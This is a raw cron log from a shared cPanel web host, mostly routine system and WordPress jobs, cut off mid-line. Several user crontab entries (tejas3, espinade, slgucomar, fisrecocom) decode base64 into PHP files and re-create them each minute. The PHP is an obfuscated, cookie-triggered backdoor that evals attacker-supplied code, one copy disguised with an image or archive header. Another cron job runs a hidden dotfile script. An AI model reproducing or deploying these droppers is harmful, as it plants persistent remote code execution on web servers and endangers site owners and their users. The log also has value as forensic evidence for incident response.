Mar  1 08:05:02 medusa CROND[21446]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 08:05:02 medusa CROND[21453]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:05:02 medusa CROND[21431]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 08:05:02 medusa CROND[21433]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 08:06:01 medusa CROND[10666]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 08:06:01 medusa CROND[10754]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:06:02 medusa CROND[10755]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 08:06:02 medusa CROND[10756]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:06:02 medusa CROND[10757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:06:02 medusa CROND[10758]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:06:02 medusa CROND[10760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:06:02 medusa CROND[10761]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 08:06:02 medusa CROND[10765]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:06:02 medusa CROND[10767]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:06:02 medusa CROND[10768]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:06:02 medusa CROND[10770]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:06:02 medusa CROND[10771]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:06:02 medusa CROND[10772]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:06:02 medusa CROND[10774]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:07:01 medusa CROND[32197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:07:01 medusa CROND[32278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:07:01 medusa CROND[32281]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:07:01 medusa CROND[32282]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:07:01 medusa CROND[32283]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:07:01 medusa CROND[32284]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:07:01 medusa CROND[32287]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 08:07:01 medusa CROND[32288]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:07:01 medusa CROND[32290]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:07:01 medusa CROND[32291]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:07:01 medusa CROND[32292]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:07:01 medusa CROND[32294]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:08:01 medusa CROND[22335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:08:01 medusa CROND[22399]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:08:01 medusa CROND[22403]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:08:01 medusa CROND[22405]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 08:08:01 medusa CROND[22406]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2Q